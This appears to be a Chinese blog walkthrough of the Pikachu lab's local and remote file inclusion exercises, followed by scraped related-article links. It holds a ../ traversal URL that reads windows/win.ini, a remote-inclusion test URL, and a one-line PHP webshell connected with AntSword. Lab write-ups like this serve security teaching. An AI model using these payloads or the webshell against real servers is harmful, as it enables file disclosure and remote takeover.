概述

File Inclusion(文件包含漏洞)概述
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
你可以通过“File Inclusion”对应的测试栏目,来进一步的了解该漏洞。

本地文件包含

读取隐藏文件

打开网址看见可以选择NBA的球星

http://192.168.66.1/pikachu-master/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

我们发现url中存在fileinclude/fi_local.php?filename=file1.php

那我们就可以爆破一下存在数字的地方

我们发现,出来一到五只有六的长度是唯一的,那么我们就修改一下url。

192.168.66.1/pikachu-master/vul/fileinclude/fi_local.php?filename=file6.php&submit=提交查询

我们就发现了隐藏的文件了

其他的数字均是报错

读取系统文件

毕竟我们这个是在小皮面板下面建立的靶场,那么在我们建立的靶场中一定存在Windows\win.ini那我们就根据报错的地址猜测这个win.ini在哪里,这就需要用到相对路径了,因为我们大概率猜不出绝对路径../../../../../../windows/win.ini,这个相对路径前面的../可以看一下fi_local.php前面有几个斜杠D:\phpstudy_pro\WWW\pikachu-master\vul\fileinclude\fi_local.php。那就更改一下url

http://192.168.66.1/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

为什么要这么修改呢,是因为在之前的报错显示中使用的方法是include直接搞到了地址

include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。包含文件很有用,如果您需要在网站的多张页面上引用相同的 PHP、HTML 或文本的话。

远程文件包含

先观察一下url,直接把include显示出来了

http://192.168.66.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

远程包含http试试,修改一下url

http://192.168.66.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=https://www.csdn.net/&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

一句话木马连接

这个连接在实际应用中没事用,但是可以练习一下蚁剑的连接。搞个一句木马

<?php assert($_POST[fin]);?>

改名为shell.php

然后蚁剑连一下

连接成功,就可以随便修改,本机的内容了

PiKachu-File Inclusion(文件包含漏洞)相关推荐

  1. pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)

    目录 一.来自官方的简介 二.来自小可爱的通关步骤 第一关  File Inclusion(local) 1.读取"隐藏"文件 2.读取系统文件 3.结合文件上传getshell ...

  2. Pikachu靶场之文件包含漏洞详解

    Pikachu靶场之文件包含漏洞详解 前言 文件包含漏洞简述 1.漏洞描述 2.漏洞原因 3.漏洞危害 4.如何防御 第一关 File Inclusion(local) 1.尝试读取"隐藏& ...

  3. java 文件包含漏洞_远程文件包含漏洞(pikachu)

    漏洞介绍 File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 ...

  4. php伪协议语法,php文件包含漏洞(input与filter)

    php://input php://input可以读取没有处理过的POST数据.相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置.php:/ ...

  5. DVWA之PHP文件包含漏洞(File Inclusion)

    PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码.更多 ...

  6. 结合pikachu和DVWA靶场学习文件包含漏洞

    结合pikachu和DVWA靶场学习文件包含漏洞 基本概念 包含的定义 文件包含的定义 相关函数 条件 分类 本地文件包含(Local File Inclusion,简称LFI) 定义 前提: 示例: ...

  7. 文件包含漏洞及简单绕过

    文件包含漏洞 文章目录 文件包含漏洞 DVWA靶场对文件包含漏洞的解释 About Objective 漏洞发生原因 防御与绕过 DVWA File inclusion medium 绝对目录绕过 双 ...

  8. 文件包含漏洞 文件伪协议利用

    目录 0x0 文件包含漏洞原理 0x1 检测文件包含漏洞 0x2 文件包含漏洞类型 0x3 文件协议流 0x4 实战 简介 #文件包含漏洞 原理,检测,类型,利用,修复等 #文件包含各个脚本代码 AS ...

  9. Web漏洞之文件包含漏洞

    公众号:黑客菌 分享更多技术文章,欢迎关注一起探讨学习 一.文件包含漏洞概述 1.漏洞介绍 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件 ...

最新文章

  1. 社会科技奖不是新鲜事?如何真正做大
  2. eclipse中tomcat启动不了_Spring Boot中Tomcat是怎么启动的
  3. OpenCV加载图像列表imagelist的实例(附完整代码)
  4. 3班的第二次模拟面试
  5. 多节锂电串联保护板ic_如何有效保护锂电池板,一款优质的MOS管就能解决
  6. HTML5 飞鸽传书web service都发布到交互服务器
  7. 插件式架构设计实践一:插件式系统架构设计简介
  8. mybatis 复习笔记03
  9. Java中ArrayList,Vector,LinkedList,HashMap,HashTable,HashSet对比及总结
  10. 网络安全系列之四十九 IIS6.0权限设置
  11. 关于sql查询分析器无法登录的问题
  12. Redis过期策略和淘汰策略
  13. filesplit的Python项目详细描述
  14. 鹅厂web前端实习面经
  15. 学python之前需要学什么,学好python需要什么基础
  16. STM32 高级定时TIM 死区时间计算--C语言实现
  17. C# 程序关闭托盘图标不会自动消失
  18. 如何学好C语言,一个成功人士的心得!
  19. matlab如何找到音乐节拍,beatTrackMaster matlab实现的节拍感知音乐工具。可以 较有 规律的一小段 当做ma 238万源代码下载- www.pudn.com...
  20. 国外高性能服务器,国内高性能的外国服务器如何选_网时云服务器

热门文章

  1. Alist简单使用指南
  2. tf.nn.xw_plus_b真方便好用
  3. 怎么远程控制他人电脑
  4. DUET and updated DUET(2016 and 2019)
  5. SLIC图像超像素分割算法解析
  6. USB Type-C引脚解析 CC、DFP、UFP、DRP用途解析【转】
  7. 算法精品讲解(2)——DP问题入门(适合零基础者,一看就会)
  8. 从零开始实现微信小程序上线发布流程
  9. Java byte[]与short[]之间转换
  10. html打开网页过场动画_网页制作设计基础知识